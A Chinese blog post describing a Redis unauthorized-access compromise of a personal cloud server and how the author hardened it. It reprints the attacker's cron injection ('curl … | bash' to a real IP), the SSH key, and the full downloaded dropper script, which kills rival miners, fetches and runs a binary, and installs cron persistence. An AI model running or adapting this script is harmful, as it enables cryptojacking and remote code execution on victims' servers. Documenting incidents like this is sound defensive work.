当前位置:首页 » Linux技术知识

linux服务器安全—— 一次redis攻击的遭遇

2018-02-05 08:21 本站整理 浏览(17)

笔者在写这篇文章的时候,个人的服务器正在遭受攻击,为了避免更多的人被坑,笔者淡定地边处理边写下这篇博客,希望可以帮助到大家!

 

环境:

ubuntu16.04.1 云服务器

redis

部署于tomcat上的个人应用

 

背景:

查看服务器状态时,发现redis用户的cpu使用率过高,打开redis日志,发现大量如下信息:

[10167] 04 Feb 19:05:20.065 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:20.066 * Background saving started by pid 21837

[21837] 04 Feb 19:05:20.069 # Failed opening .rdb for saving: Permission denied

[10167] 04 Feb 19:05:20.166 # Background saving error

[10167] 04 Feb 19:05:26.076 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:26.077 * Background saving started by pid 21855

[21855] 04 Feb 19:05:26.081 # Failed opening .rdb for saving: Permission denied

[10167] 04 Feb 19:05:26.177 # Background saving error

[10167] 04 Feb 19:05:32.086 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:32.087 * Background saving started by pid 21862

[21862] 04 Feb 19:05:32.089 # Failed opening .rdb for saving: Permission denied

[10167] 04 Feb 19:05:32.187 # Background saving error

[10167] 04 Feb 19:05:38.102 * 1 changes in 900 seconds. Saving...

[10167] 04 Feb 19:05:38.103 * Background saving started by pid 21864

[21864] 04 Feb 19:05:38.105 # Failed opening .rdb for saving: Permission denied

 

很明显,日志中显示redis存储于内存中的数据无法同步到文件系统中,原因是权限不够。

 

处理过程:

  1.  打开redis客户端,发现redis中被存入了两个莫名其妙的东西,key值分别为crackit和gfpyskqrma,我很确定自己的程序不会向redis中存入这两个东西。
    admin@VM-202-164-ubuntu:/$ /servers/redis-2.8.19/src/redis-cli  -p 6379
    127.0.0.1:6379> keys *
    1) "crackit"
    2) "gfpyskqrma"
     
  2. 查看这两个都存的什么东西:
    127.0.0.1:6379> get crackit
    "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCV6En/yo9BrY7ba0BsiFbg2hxLVdNerk1r3oKU1V0qeVMzRG8WdXkAiEXcvcmei1c85gPXDK3bqUX1XyLOy+hXfnTRRGfbMPOCclyoT/L3xeS1KMvWlP0qJVip7Mz+gwCEkQxSbZqdzBHStSFgAzoeGf12wUKEHLEpX7x7bs03vMUB8z7i1f10N+is84THQ4lMCpG4w3+CdeOKEssL2nL5abRhItjrfYgQH5cxtpwq55w97mVQ7PR9U2JSQSVWMTxy3rTx+7QP4JI2RS5yDRsjH4ISVwvu3gGyYAPfa6yofK+jjqChkyX4ipmTP9hAXf7lEvoZClVjCAwg1qslKieH aariz@el8.land\n\n\n\n"
    127.0.0.1:6379> get gfpyskqrma
    "\n\n* 10 * * * curl http://45.123.190.144:8080/lin.txt?redis | bash \n\n"
    
     妥了,现在百分百确定服务器遭到了攻击。crackit存的是一个ssh公钥,gfpyskqrma存储的是一个cron定时任务。
  3. 看到这我就气急败坏了,连我吃泡面省钱买的云服务都不放过!不管三七二十一了,先一顿喷再说,直接在这两个key的值中喷他,也不管攻击者能不能看到啦,由于不清楚他是哪国的,中文英文拼音都用上一遍。哼!
  4. 好了,进入正题!现在研究一下他是怎么攻击的,打开redis config:
    127.0.0.1:6379> CONFIG GET *
      1) "dbfilename"
      2) "root"
      3) "requirepass"
      4) ""
      5) "masterauth"
      6) ""
      7) "unixsocket"
      8) ""
      9) "logfile"
     10) ""
     11) "pidfile"
     12) "/var/run/redis.pid"
     13) "maxmemory"
     14) "0"
     15) "maxmemory-samples"
     16) "3"
     17) "timeout"
     18) "0"
     19) "tcp-keepalive"
     20) "0"
     21) "auto-aof-rewrite-percentage"
     22) "100"
     23) "auto-aof-rewrite-min-size"
     24) "67108864"
     25) "hash-max-ziplist-entries"
     26) "512"
     27) "hash-max-ziplist-value"
     28) "64"
     29) "list-max-ziplist-entries"
     30) "512"
     31) "list-max-ziplist-value"
     32) "64"
     33) "set-max-intset-entries"
     34) "512"
     35) "zset-max-ziplist-entries"
     36) "128"
     37) "zset-max-ziplist-value"
     38) "64"
     39) "hll-sparse-max-bytes"
     40) "3000"
     41) "lua-time-limit"
     42) "5000"
     43) "slowlog-log-slower-than"
     44) "10000"
     45) "latency-monitor-threshold"
     46) "0"
     47) "slowlog-max-len"
     48) "128"
     49) "port"
     50) "6379"
     51) "tcp-backlog"
     52) "511"
     53) "databases"
     54) "16"
     55) "repl-ping-slave-period"
     56) "10"
     57) "repl-timeout"
     58) "60"
     59) "repl-backlog-size"
     60) "1048576"
     61) "repl-backlog-ttl"
     62) "3600"
     63) "maxclients"
     64) "10000"
     65) "watchdog-period"
     66) "0"
     67) "slave-priority"
     68) "100"
     69) "min-slaves-to-write"
     70) "0"
     71) "min-slaves-max-lag"
     72) "10"
     73) "hz"
     74) "10"
     75) "repl-diskless-sync-delay"
     76) "5"
     77) "no-appendfsync-on-rewrite"
     78) "no"
     79) "slave-serve-stale-data"
     80) "yes"
     81) "slave-read-only"
     82) "yes"
     83) "stop-writes-on-bgsave-error"
     84) "no"
     85) "daemonize"
     86) "no"
     87) "rdbcompression"
     88) "yes"
     89) "rdbchecksum"
     90) "yes"
     91) "activerehashing"
     92) "yes"
     93) "repl-disable-tcp-nodelay"
     94) "no"
     95) "repl-diskless-sync"
     96) "no"
     97) "aof-rewrite-incremental-fsync"
     98) "yes"
     99) "aof-load-truncated"
    100) "yes"
    101) "appendonly"
    102) "no"
    103) "dir"
    104) "/var/spool/cron"
    105) "maxmemory-policy"
    106) "volatile-lru"
    107) "appendfsync"
    108) "everysec"
    109) "save"
    110) "900 1 300 10 60 10000"
    111) "loglevel"
    112) "notice"
    113) "client-output-buffer-limit"
    114) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"
    115) "unixsocketperm"
    116) "0"
    117) "slaveof"
    118) ""
    119) "notify-keyspace-events"
    120) "gxE"
    121) "bind"
    122) "127.0.0.1 XXX.XXX.XXX.XXX"  #此处马赛克
    127.0.0.1:6379> 
     可以看到,攻击者修改了redis用于存储数据的rdb文件的文件名和路径,路径和文件拼凑到一起是/var/spool/cron/root。这是要改我root用户计划任务的节奏啊,还好我的redis不是使用root用户执行的(这就是redis日志中出现大量权限不足的原因),要不然攻击者已经得手了。想想就可怕,如果我的redis是使用root用户部署的,那攻击者岂不是为所欲为了。例如他如果把SSH公钥写到/root/.ssh中,就可以畅通无阻地登录我的服务器,或者他直接破坏掉我的/etc/passwd,那谁也别想登录了,只能刷系统了。没想到redis居然有这么大的漏洞。(通过redis的CONFIG SET dir /tmp/ 命令就可以直接动态设置存储路径了,其他参数的设置也一样) 
  5. 还没完。现在看一下他的定时脚本里边都是什么内容,直接浏览器打开http://45.123.190.144:8080/lin.txt?redis ,以下就是他的shell代码:
    export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
    
    HOST=45.123.190.144:8080
    CALLBACK=$HOST
    
    DOWNLOADER="curl "
    #DOWNLOADER="wget -q -O - "
    
    LFILE_NAME="BoomBoom"
    # LFILE_PATH=`pwd`/$LFILE_NAME
    LFILE_PATH=/tmp/$LFILE_NAME
    
    DEFAULT_RFILE=$HOST/BoomBoom
    OTHERS_RFILE=$HOST/BoomBoom2
    
    CLEAN ()
    {
      grep -q -F '* soft memlock 262144' /etc/security/limits.conf || echo '* soft memlock 262144' >> /etc/security/limits.conf
        grep -q -F '* hard memlock 262144' /etc/security/limits.conf || echo '* hard memlock 262144' >> /etc/security/limits.conf
        grep -q -F 'vm.nr_hugepages = 256' /etc/sysctl.conf || echo 'vm.nr_hugepages = 256' >> /etc/sysctl.conf
        sysctl -w vm.nr_hugepages=256
    
      RMLIST=(/tmp/*index_bak* /tmp/*httpd.conf* /tmp/*httpd.conf /tmp/a7b104c270 /tmp/Carbon)
      KILIST=(crobon sb1 wipefs AnXqV.yam zhuabcn@yahoo.com monerohash.com /tmp/a7b104c270 stratum.f2pool.com:8888 42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQt989KEfGRt6Ww2Xg8 46SDR76rJ2J6MtmP3ZZKi9cEA5RQCrYgag7La3CxEootQeAQULPE2CHJQ4MRZ5wZ1T73Kw6Kx4Lai2dFLAacjerbPzb5Ufg 42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe xmrpool.eu mine.moneropool.com xmr.crypto-pool.fr:8080 xmr.crypto-pool.fr:3333 xmr.crypto-pool.fr:6666 xmr.crypto-pool.fr:7777 xmr.crypto-pool.fr:443)
      for item in ${RMLIST[@]}
      do
          rm -rf $item
      done
      for item in ${KILIST[@]}
      do
          ps auxf|grep -v grep|grep $item|awk '{print $2}'|xargs kill -9
      done
      days=$(($(date +%s) / 60 / 60 / 24))
      ps auxf|grep -v grep|grep "42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "45cToD1FzkjAxHRBhYKKLg5utMGENqyamWrY8nLNkVQ4hJgLHex1KNRZcz4finRjMpAYmPxDaXVpN2rV1jMNyXRdMEaH1YA"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep ${days}|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "logind.conf"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "kworker"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "Silence"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "45hsTaSqTQM4K1Xeqkcy7eLzqdEuQ594fJVmQryCemQSCU878JGQdSDCxbhNyVjSkiaYat8yAfBuRTPSEUPZoARm9a5XEHZ"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "xmr.crypto-pool.fr"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "t.sh"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "wipefs"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "carbon"|awk '{print $2}'|xargs kill -9
      pkill -f 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4
      pkill -f 4AniF816tMCNedhQ4J3ccJayyL5ZvgnqQ4X9bK7qv4ZG3QmUfB9tkHk7HyEhh5HW6hCMSw5vtMkj6jSYcuhQTAR1Sbo15gB
      pkill -f 4813za7ePRV5TBce3NrSrugPPJTMFJmEMR9qiWn2Sx49JiZE14AmgRDXtvM1VFhqwG99Kcs9TfgzejAzT9Spm5ga5dkh8df
      pkill -f cpuloadtest
      pkill -f crypto-pool
      pkill -f xmr
      pkill -f prohash
      pkill -f monero
      pkill -f miner
      pkill -f nanopool
      pkill -f minergate
      pkill -f yam
      pkill -f Silence
      pkill -f yam2
      pkill -f minerd
      pkill -f Circle_MI.png
      pkill -f curl
      ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "crypto-pool"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "prohash"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "monero"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "miner"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "nanopool"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "minergate"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLonwrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "42HrCwmHSVyJSAQwn6Lifc3WWAWN56U8s2qAbm6BAagW6Ryh8JgWq8Q1JbZ8nXdcFVgnmAM3q86cm5y9xfmvV1ap6qVvmPe"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "49JsSwt7MsH5m8DPRHXFSEit9ZTWZCbWwS7QSMUTcVuCgwAU24gni1ydnHdrT9QMibLtZ3spC7PjmEyUSypnmtAG7pyys7F"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "479MD1Emw69idbVNKPtigbej7x1ZwFR1G3boyXUFfAB89uk2AztaMdWVd6NzCTfZVpDReKEAsVVBwYpTG8fsRK3X17jcDKm"|awk '{print $2}'|xargs kill -9
      ps auxf|grep -v grep|grep "11231"|awk '{print $2}'|xargs kill -9
      pkill -f biosetjenkins
      ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
      ps ax|grep -o './[0-9]* -c'| xargs pkill -f
      pkill -f Loopback
      pkill -f apaceha
      pkill -f cryptonight
      ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs ps --ppid|awk '{print $1}'|grep -v PID|xargs kill -9
      ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs kill -9
      pkill -f 45.76.102.45
      pkill -f stratum
      pkill -f mixnerdx
      pkill -f performedl
      pkill -f sleep
      pkill -f JnKihGjn
      pkill -f irqba2anc1
      pkill -f irqba5xnc1
      pkill -f irqbnc1
      pkill -f ir29xc1
      pkill -f conns
      pkill -f irqbalance
      pkill -f crypto-pool
      pkill -f minexmr
      pkill -f XJnRj
      pkill -f NXLAi
      pkill -f BI5zj
      pkill -f askdljlqw
      pkill -f minerd
      pkill -f minergate
      pkill -f Guard.sh
      pkill -f ysaydh
      pkill -f bonns
      pkill -f donns
      pkill -f kxjd
      pkill -f 108.61.186.224
      pkill -f Duck.sh
      pkill -f bonn.sh
      pkill -f conn.sh
      pkill -f kworker34
      pkill -f kw.sh
      pkill -f pro.sh
      pkill -f polkitd
      pkill -f acpid
      pkill -f icb5o
      pkill -f nopxi
      ps -ef|grep '.so'|grep -v grep|cut -c 9-15|xargs kill -9;
      pkill -f 45.76.146.166
      pkill -f irqbalanc1
      pkill -f 188.120.247.175
      rm -rf /tmp/httpd.conf
      rm -rf /tmp/conn
      rm -rf /tmp/conns
      rm -f /tmp/irq.sh
      rm -f /tmp/irqbalanc1
      rm -f /tmp/irq
    }
    
    DEFAULT ()
    {
      $DOWNLOADER $DEFAULT_RFILE > $LFILE_PATH
      chmod +x $LFILE_PATH
      ps -ef|grep $LFILE_NAME|grep -v grep
      if [ $? -ne 0 ]; then
        $LFILE_PATH -B && $DOWNLOADER "${CALLBACK}/?info=l60"
      else
        $DOWNLOADER "${CALLBACK}/?info=l69"
      fi
    }
    
    OTHERS ()
    {
      $DOWNLOADER $OTHERS_RFILE > $LFILE_PATH
      chmod +x $LFILE_PATH
      ps -ef|grep $LFILE_NAME|grep -v grep
      if [ $? -ne 0 ]; then
        $LFILE_PATH -B && $DOWNLOADER "${CALLBACK}/?info=l30"
      else
        $DOWNLOADER "${CALLBACK}/?info=l39"
      fi
    }
    
    CRON () {
      if [ -x /usr/bin/wget ] ; then
            echo '*/8 * * * * wget -q -O - $HOST/lin.txt |bash' > /tmp/.$LFILE_NAME.cron
        elif [ -x /usr/bin/curl ] ; then
            echo '*/8 * * * * curl $HOST/lin.txt |bash' > /tmp/.$LFILE_NAME.cron
        else
            exit 0;
        fi
        crontab -r
        crontab /tmp/.$LFILE_NAME.cron
        rm /tmp/.$LFILE_NAME.cron
    }
    
    INIT () {
    	echo 128 > /proc/sys/vm/nr_hugepages
    	sysctl -w vm.nr_hugepages=128
    }
    
    
    
    KILL () {
      ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
      do
        kill -9 $procid
      done
    }
    
    CLEAN
    KILL
    INIT
    if [ $(getconf WORD_BIT) = '32' ] && [ $(getconf LONG_BIT) = '64' ] ; then
        DEFAULT
    else
        OTHERS
    fi
    # CRON
    crontab -r
    
    
     等一下再看这个浑蛋做了什么,当务之急是解决redis的问题,切断他的攻击渠道。
  6. 先关掉redis吧
    dmin@VM-202-164-ubuntu:~$ ps -aux|grep redis|grep -v grep
    admin    10167  0.0  1.3  38300 12136 ?        Sl   Feb03   1:27 /servers/redis-2.8.19/src/redis-server 127.0.0.1:6379
    admin@VM-202-164-ubuntu:~$ kill -9 10167
    admin@VM-202-164-ubuntu:~$ ps -aux|grep redis|grep -v grep
    admin@VM-202-164-ubuntu:~$ 
     进入redis目录,修改redis配置文件。
    admin@VM-202-164-ubuntu:~/redis-2.8.19$ vi redis.conf
     先修改一下bind:(说明一下:修改之前我是这样配置的bind 127.0.0.1 XXX.XXX.XXX.XXX,其中xxx是腾讯云服务器的内网ip,所以我没理解错的话,攻击者是使用腾讯云内网ip登录我的redis服务的。也就是说攻击者使用的也是腾讯云服务器)
    # Examples:
    #
    # bind 127.0.0.1 XXX.XXX.XXX.XXX
    bind 127.0.0.1 
     再改下端口吧,不要用默认的了:
    # Accept connections on the specified port, default is 6379.
    # If port 0 is specified Redis will not listen on a TCP socket.
    port 6970
     禁用掉CONFIG和EVAL命令:
    # Example:
    #
    # rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
    #
    # It is also possible to completely kill a command by renaming it into
    # an empty string:
    #
    rename-command CONFIG ""
    rename-command EVAL ""
     还有最关键的,设置一个密码:
    # Warning: since Redis is pretty fast an outside user can try up to
    # 150k passwords per second against a good box. This means that you should
    # use a very strong password otherwise it will be very easy to break.
    #
    requirepass 2wsx!QAZ
     启动redis吧,现在应该足够安全了吧:
    admin@VM-202-164-ubuntu:~/redis-2.8.19$ /servers/redis-2.8.19/src/redis-cli  -p 6970 -a '2wsx!QAZ'
     启动客户端别忘记加上密码。最后就是修改应用程序中的redis端口和密码了。如果想要在其他服务器上也能访问到redis服务,那就只能bind上内网ip了,但是推荐使用iptables创建防火墙规则。
  7. 一定不要使用root部署redis,太可怕了。
  8. 现在redis基本安全了,不用担心再次受到攻击了,但是还要检查一下服务器,看看那个攻击者有没有留下什么东西,清理一下。
    admin@VM-202-164-ubuntu:~$ cd .ssh
    -bash: cd: .ssh: No such file or directory
    admin@VM-202-164-ubuntu:~$ crontab -l
    no crontab for admin
    admin@VM-202-164-ubuntu:~$ 
     
    admin@VM-202-164-ubuntu:/var/spool/cron$ ls -lrta
    total 20
    drwxrwx--T 2 daemon daemon  4096 Jan 15  2016 atspool
    drwxr-xr-x 4 root   root    4096 Oct 26  2016 ..
    drwxr-xr-x 5 root   root    4096 Oct 26  2016 .
    drwxrwx--T 2 daemon daemon  4096 Oct 26  2016 atjobs
    drwx-wx--T 2 root   crontab 4096 Feb  4 18:51 crontabs
    admin@VM-202-164-ubuntu:/var/spool/cron$ cd crontabs
    -bash: cd: crontabs: Permission denied
     攻击者并没有将SSH公钥写入当前用户,crontabs权限正常,是安全的,看来他直接是奔着root去的,并没有得手。如此看来,这应该是一个攻击脚本了,那看来我喷他他是看不到了,唉!
  9. 最后看一下那个脚本都想要干什么吧:

     先是清了一下相关进程和临时文件->>杀掉了cpu占用大于20%的进程->>设置了一下nr_hugepages->>在他的服务器(45.123.190.144:8080/BoomBoom)上下载一个BoomBoom->>BoomBoom添加可执行权限。好吧,不明觉厉,下载了BoomBoom看看,2.17M的一个东西,不知道是什么。

好吧,先这样吧!希望可以帮到大家,希望各位大神们帮我研究一下BoomBoom是干什么用的!